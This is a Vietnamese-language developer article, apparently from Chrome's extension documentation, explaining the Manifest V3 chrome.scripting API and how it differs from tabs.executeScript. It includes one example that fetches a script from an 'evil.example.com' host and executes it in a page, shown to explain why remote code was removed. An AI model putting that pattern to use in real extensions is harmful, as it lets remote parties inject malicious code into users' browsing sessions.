Giới thiệu về chrome.scripting

Tệp kê khai V3 đưa ra một số thay đổi đối với nền tảng tiện ích của Chrome. Trong bài đăng này, chúng ta sẽ khám phá động lực và những thay đổi được đưa ra theo một trong những thay đổi đáng chú ý nhất: việc ra mắt API chrome.scripting.

chrome.scripting là gì?

Như tên gọi, chrome.scripting là một không gian tên mới được giới thiệu trong tệp kê khai V3, chịu trách nhiệm về các tính năng chèn tập lệnh và kiểu.

Những nhà phát triển từng tạo tiện ích Chrome có thể đã quen thuộc với các phương thức Manifest V2 trên Tabs API như chrome.tabs.executeScriptchrome.tabs.insertCSS. Các phương thức này cho phép tiện ích chèn tập lệnh và bảng kiểu vào các trang tương ứng. Trong Tệp kê khai V3, các chức năng này đã chuyển sang chrome.scripting và chúng tôi dự định mở rộng API này bằng một số chức năng mới trong tương lai.

Tại sao nên tạo một API mới?

Khi có thay đổi như vậy, một trong những câu hỏi đầu tiên thường được đặt ra là "tại sao?"

Có một vài yếu tố khiến nhóm Chrome quyết định giới thiệu một không gian tên mới để viết tập lệnh. Trước tiên, Tabs API là một ngăn chứa rác cho các tính năng. Thứ hai, chúng ta cần thực hiện các thay đổi có thể gây lỗi đối với API executeScript hiện có. Thứ ba, chúng tôi biết rằng mình muốn mở rộng các tính năng tập lệnh cho tiện ích. Cùng với nhau, những mối lo ngại này đã xác định rõ ràng nhu cầu về một không gian tên mới để lưu trữ các chức năng tập lệnh.

Ngăn chứa đồ linh tinh

Một trong những vấn đề khiến Nhóm tiện ích phải đau đầu trong vài năm qua là API chrome.tabs bị quá tải. Khi API này được giới thiệu lần đầu, hầu hết các chức năng mà API này cung cấp đều liên quan đến khái niệm rộng về thẻ trình duyệt. Tuy nhiên, ngay cả tại thời điểm đó, bộ công cụ này cũng chỉ là một túi chứa nhiều tính năng và qua nhiều năm, bộ công cụ này chỉ phát triển thêm.

Vào thời điểm phát hành Tệp kê khai V3, Tabs API đã phát triển để bao gồm các tính năng quản lý thẻ cơ bản, quản lý lựa chọn, sắp xếp cửa sổ, nhắn tin, điều khiển thu phóng, điều hướng cơ bản, tập lệnh và một số tính năng nhỏ khác. Mặc dù tất cả những điều này đều quan trọng, nhưng có thể gây khó khăn cho nhà phát triển khi mới bắt đầu và cho nhóm Chrome khi chúng tôi duy trì nền tảng và xem xét các yêu cầu của cộng đồng nhà phát triển.

Một yếu tố phức tạp khác là quyền tabs không được hiểu rõ. Mặc dù nhiều quyền khác hạn chế quyền truy cập vào một API nhất định (ví dụ: storage), nhưng quyền này hơi khác thường ở chỗ chỉ cấp cho tiện ích quyền truy cập vào các thuộc tính nhạy cảm trên các thực thể Thẻ (và theo tiện ích cũng ảnh hưởng đến API Windows). Có thể hiểu được rằng nhiều nhà phát triển tiện ích nhầm tưởng rằng họ cần quyền này để truy cập vào các phương thức trên Tabs API như chrome.tabs.create hoặc chrome.tabs.executeScript. Việc di chuyển chức năng ra khỏi API Thẻ giúp làm rõ một số nhầm lẫn này.

Thay đổi có thể gây lỗi

Khi thiết kế Tệp kê khai V3, một trong những vấn đề chính mà chúng tôi muốn giải quyết là hành vi sai trái và phần mềm độc hại được "mã được lưu trữ từ xa" bật – mã được thực thi nhưng không có trong gói tiện ích. Các tác giả tiện ích có hành vi sai trái thường thực thi các tập lệnh được tìm nạp từ máy chủ từ xa để đánh cắp dữ liệu người dùng, chèn phần mềm độc hại và tránh bị phát hiện. Mặc dù các bên hành động tốt cũng sử dụng tính năng này, nhưng cuối cùng chúng tôi cảm thấy việc giữ nguyên như vậy là quá nguy hiểm.

Có một số cách mà tiện ích có thể thực thi mã chưa được đóng gói, nhưng cách liên quan ở đây là phương thức chrome.tabs.executeScript của Tệp kê khai V2. Phương thức này cho phép một tiện ích thực thi một chuỗi mã tuỳ ý trong thẻ mục tiêu. Điều này có nghĩa là một nhà phát triển độc hại có thể tìm nạp một tập lệnh tuỳ ý từ một máy chủ từ xa và thực thi tập lệnh đó bên trong bất kỳ trang nào mà tiện ích có thể truy cập. Chúng tôi biết rằng nếu muốn giải quyết vấn đề mã từ xa, chúng tôi sẽ phải loại bỏ tính năng này.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Chúng tôi cũng muốn khắc phục một số vấn đề khác, tinh tế hơn với thiết kế của phiên bản Tệp kê khai V2 và giúp API trở thành một công cụ tinh tế và dễ dự đoán hơn.

Mặc dù chúng ta có thể thay đổi chữ ký của phương thức này trong Tabs API, nhưng chúng tôi cảm thấy rằng giữa các thay đổi có thể gây lỗi này và việc giới thiệu các tính năng mới (được đề cập trong phần tiếp theo), việc tách biệt hoàn toàn sẽ dễ dàng hơn cho mọi người.

Mở rộng chức năng tập lệnh

Một yếu tố khác cần cân nhắc trong quá trình thiết kế Tệp kê khai V3 là mong muốn giới thiệu thêm các chức năng tập lệnh cho nền tảng tiện ích của Chrome. Cụ thể, chúng tôi muốn thêm tính năng hỗ trợ cho tập lệnh nội dung động và mở rộng chức năng của phương thức executeScript.

Hỗ trợ tập lệnh nội dung động là một yêu cầu tính năng lâu nay trong Chromium. Hiện tại, các tiện ích Chrome Manifest V2 và V3 chỉ có thể khai báo tĩnh tập lệnh nội dung trong tệp manifest.json; nền tảng này không cung cấp cách thức đăng ký tập lệnh nội dung mới, điều chỉnh việc đăng ký tập lệnh nội dung hoặc huỷ đăng ký tập lệnh nội dung trong thời gian chạy.

Mặc dù chúng tôi biết rằng mình muốn giải quyết yêu cầu về tính năng này trong Tệp kê khai V3, nhưng không có API nào hiện có phù hợp. Chúng tôi cũng cân nhắc việc điều chỉnh theo Firefox trên Content Scripts API của họ, nhưng ngay từ đầu, chúng tôi đã nhận thấy một số hạn chế lớn của phương pháp này. Trước tiên, chúng ta biết rằng chúng ta sẽ có các chữ ký không tương thích (ví dụ: ngừng hỗ trợ thuộc tính code). Thứ hai, API của chúng tôi có một bộ ràng buộc thiết kế khác (ví dụ: cần đăng ký để duy trì sau thời gian hoạt động của worker). Cuối cùng, không gian tên này cũng sẽ giúp chúng ta tập trung vào chức năng tập lệnh nội dung, trong đó chúng ta đang suy nghĩ về việc lập trình trong các tiện ích một cách rộng rãi hơn.

Về executeScript, chúng tôi cũng muốn mở rộng chức năng của API này ngoài những chức năng mà phiên bản API Tabs hỗ trợ. Cụ thể hơn, chúng tôi muốn hỗ trợ các hàm và đối số, dễ dàng nhắm mục tiêu các khung cụ thể hơn và nhắm mục tiêu các ngữ cảnh không phải "thẻ".

Từ giờ trở đi, chúng tôi cũng sẽ xem xét cách các tiện ích có thể tương tác với các PWA đã cài đặt và các ngữ cảnh khác không liên kết về mặt khái niệm với "thẻ".

Thay đổi giữa tabs.executeScript và scripting.executeScript

Trong phần còn lại của bài đăng này, tôi muốn tìm hiểu kỹ hơn về điểm giống và khác nhau giữa chrome.tabs.executeScriptchrome.scripting.executeScript.

Chèn một hàm có đối số

Trong khi xem xét cách nền tảng cần phát triển theo các quy định hạn chế về mã được lưu trữ từ xa, chúng tôi muốn tìm ra sự cân bằng giữa sức mạnh thô của việc thực thi mã tuỳ ý và chỉ cho phép tập lệnh nội dung tĩnh. Giải pháp mà chúng tôi tìm ra là cho phép các tiện ích chèn một hàm dưới dạng tập lệnh nội dung và truyền một mảng các giá trị dưới dạng đối số.

Hãy xem nhanh một ví dụ (đơn giản hoá quá mức). Giả sử chúng ta muốn chèn một tập lệnh chào người dùng theo tên khi người dùng nhấp vào nút hành động của tiện ích (biểu tượng trong thanh công cụ). Trong tệp kê khai V2, chúng ta có thể tạo một chuỗi mã một cách linh động và thực thi tập lệnh đó trong trang hiện tại.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Mặc dù các tiện ích Manifest V3 không thể sử dụng mã không đi kèm với tiện ích, nhưng mục tiêu của chúng tôi là duy trì một số tính năng linh động mà các khối mã tuỳ ý đã bật cho các tiện ích Manifest V2. Phương pháp hàm và đối số giúp người đánh giá, người dùng Cửa hàng Chrome trực tuyến và các bên quan tâm khác có thể đánh giá chính xác hơn về rủi ro mà một tiện ích gây ra, đồng thời cho phép nhà phát triển sửa đổi hành vi trong thời gian chạy của tiện ích dựa trên chế độ cài đặt của người dùng hoặc trạng thái ứng dụng.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Nhắm mục tiêu khung hình

Chúng tôi cũng muốn cải thiện cách nhà phát triển tương tác với các khung trong API sửa đổi. Phiên bản Tệp kê khai V2 của executeScript cho phép nhà phát triển nhắm đến tất cả các khung trong một thẻ hoặc một khung cụ thể trong thẻ. Bạn có thể sử dụng chrome.webNavigation.getAllFrames để lấy danh sách tất cả các khung trong một thẻ.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Trong Tệp kê khai V3, chúng tôi đã thay thế thuộc tính số nguyên frameId không bắt buộc trong đối tượng tuỳ chọn bằng một mảng số nguyên frameIds không bắt buộc; điều này cho phép nhà phát triển nhắm đến nhiều khung hình trong một lệnh gọi API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Kết quả chèn tập lệnh

Chúng tôi cũng đã cải thiện cách trả về kết quả chèn tập lệnh trong Tệp kê khai V3. Về cơ bản, "kết quả" là câu lệnh cuối cùng được đánh giá trong tập lệnh. Hãy coi đó là giá trị được trả về khi bạn gọi eval() hoặc thực thi một khối mã trong bảng điều khiển Chrome DevTools, nhưng được chuyển đổi tuần tự để truyền kết quả giữa các quy trình.

Trong Tệp kê khai V2, executeScriptinsertCSS sẽ trả về một mảng các kết quả thực thi thuần tuý. Điều này không sao nếu bạn chỉ có một điểm chèn, nhưng thứ tự kết quả không được đảm bảo khi chèn vào nhiều khung, vì vậy, không có cách nào để biết kết quả nào được liên kết với khung nào.

Để biết ví dụ cụ thể, hãy xem các mảng results do tệp kê khai Manifest V2 và phiên bản tệp kê khai Manifest V3 của cùng một tiện ích trả về. Cả hai phiên bản của tiện ích sẽ chèn cùng một tập lệnh nội dung và chúng ta sẽ so sánh kết quả trên cùng một trang minh hoạ.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Khi chạy phiên bản Tệp kê khai V2, chúng ta sẽ nhận được một mảng [1, 0, 5]. Kết quả nào tương ứng với khung chính và kết quả nào tương ứng với iframe? Giá trị trả về không cho chúng ta biết, vì vậy chúng ta không biết chắc chắn.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Trong phiên bản Tệp kê khai V3, results hiện chứa một mảng các đối tượng kết quả thay vì chỉ một mảng kết quả đánh giá, đồng thời các đối tượng kết quả xác định rõ mã nhận dạng của khung cho từng kết quả. Điều này giúp nhà phát triển dễ dàng sử dụng kết quả và hành động trên một khung cụ thể.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Tóm tắt

Việc nâng cấp phiên bản tệp kê khai là một cơ hội hiếm có để suy nghĩ lại và hiện đại hoá các API tiện ích. Mục tiêu của chúng tôi với tệp kê khai V3 là cải thiện trải nghiệm người dùng cuối bằng cách giúp các tiện ích an toàn hơn, đồng thời cải thiện trải nghiệm nhà phát triển. Bằng cách giới thiệu chrome.scripting trong Tệp kê khai V3, chúng tôi có thể giúp dọn dẹp Tabs API, tái thiết kế executeScript để có một nền tảng tiện ích an toàn hơn, đồng thời đặt nền tảng cho các tính năng tập lệnh mới sẽ ra mắt vào cuối năm nay.